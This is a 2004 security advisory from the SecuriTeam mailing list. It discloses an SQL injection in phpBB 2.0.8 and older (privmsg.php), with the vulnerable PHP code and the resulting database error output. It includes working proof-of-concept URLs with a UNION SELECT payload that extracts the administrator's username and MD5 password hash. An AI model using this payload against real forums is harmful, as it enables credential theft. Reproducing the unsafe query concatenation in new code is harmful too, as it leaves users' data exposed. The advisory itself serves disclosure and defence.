Date: 30 Mar 2004 13:15:35 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [UNIX] phpBB SQL Injection Vulnerability (privmsg.php)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
phpBB SQL Injection Vulnerability (privmsg.php)
------------------------------------------------------------------------
SUMMARY
<phpBB> phpBB is "a high powered, fully scalable, and highly customizable
open-source bulletin board package. phpBB has a user-friendly interface,
simple and straightforward administration panel, and helpful FAQ. Based on
the powerful PHP server language and your choice of MySQL, MS-SQL,
PostgreSQL or Access/ODBC database servers, phpBB is the ideal free
community solution for all web sites."
A new SQL injection vulnerability in privmsg.php was found. The bug allows
an attacker to gain sensitive information from the database.
DETAILS
Vulnerable Systems:
* phpBB version 2.0.8 and older
Vulnerable Code:
*************************************************************************************
// SQL to pull appropriate message, prevents nosey people
// reading other peoples messages ... hopefully!
//
switch( $folder )
{
case 'inbox':
$l_box_name = $lang['Inbox'];
$pm_sql_user = "AND pm.privmsgs_to_userid = " .
$userdata['user_id'] . "
AND ( pm.privmsgs_type = " .
PRIVMSGS_READ_MAIL . "
OR pm.privmsgs_type = " .
PRIVMSGS_NEW_MAIL . "
OR pm.privmsgs_type = " .
PRIVMSGS_UNREAD_MAIL . " )";
break;
case 'outbox':
$l_box_name = $lang['Outbox'];
$pm_sql_user = "AND pm.privmsgs_from_userid = " .
$userdata['user_id'] . "
AND ( pm.privmsgs_type = " .
PRIVMSGS_NEW_MAIL . "
OR pm.privmsgs_type = " .
PRIVMSGS_UNREAD_MAIL . " ) ";
break;
case 'sentbox':
$l_box_name = $lang['Sentbox'];
$pm_sql_user = "AND pm.privmsgs_from_userid = " .
$userdata['user_id'] . "
AND pm.privmsgs_type = " .
PRIVMSGS_SENT_MAIL;
break;
case 'savebox':
$l_box_name = $lang['Savebox'];
$pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = "
$userdata['user_id'] . "
AND pm.privmsgs_type = " .
PRIVMSGS_SAVED_IN_MAIL . " )
OR ( pm.privmsgs_from_userid = " .
$userdata['user_id'] . "
AND pm.privmsgs_type = " .
PRIVMSGS_SAVED_OUT_MAIL . " )
)";
break;
default:
message_die(GENERAL_ERROR,
$lang['No_such_folder']);
break;
}
//
// Major query obtains the message ...
//
$sql = "SELECT u.username AS username_1, u.user_id AS user_id_1,
u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid,
u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq,
u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail,
u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid,
pmt.privmsgs_text
FROM " . PRIVMSGS_TABLE . " pm, " . PRIVMSGS_TEXT_TABLE .
" pmt, " . USERS_TABLE . " u, " . USERS_TABLE . " u2
WHERE pm.privmsgs_id = $privmsgs_id
AND pmt.privmsgs_text_id = pm.privmsgs_id
$pm_sql_user
AND u.user_id = pm.privmsgs_from_userid
AND u2.user_id = pm.privmsgs_to_userid";
*****************************************************************************
Take note of the $pm_sql_user variable. It is being concatenated
constantly throughout the code presented. Issuing the following:
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=foobar
The error message received from the server is:
General Error
Could not query private message post information
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax. Check the manual
that corresponds to your MySQL server version for the right syntax to use
near 'foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_t
SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS
username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts,
u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim,
u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank,
u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid,
pmt.privmsgs_text FROM phpbb_privmsgs pm, phpbb_privmsgs_text pmt,
phpbb_users u, phpbb_users u2 WHERE pm.privmsgs_id = 99 AND
pmt.privmsgs_text_id = pm.privmsgs_id foobarAND ( ( pm.privmsgs_to_userid
= 2 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 2 AND
pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND
u2.user_id = pm.privmsgs_to_userid
Line: 238
File: D:\apache_wwwroot\phpbb206c\privmsg.php
If we repeat the query in the following manner:
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null,null/
No error message is returned. A more realistic example would be:
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT username, null,user_password, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*
Which should present us with the admin's username and MD5 password hash.
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]> Janek
Vind.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.